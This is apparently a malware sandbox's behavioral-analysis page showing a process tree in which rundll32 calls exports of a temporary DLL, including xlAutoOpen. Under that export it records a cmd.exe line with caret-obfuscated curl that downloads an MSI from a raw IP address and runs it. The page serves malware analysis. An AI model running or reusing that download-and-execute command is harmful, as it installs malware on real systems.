| ZeroBOX

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,hash
3044
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,hash
  1632
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,reverseString
2184
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,reverseString
  664
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,
2400
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,xlAutoOpen
156
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,xlAutoOpen
  1044
  - cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
    1716
    - curl.exe curl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB
      2568

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis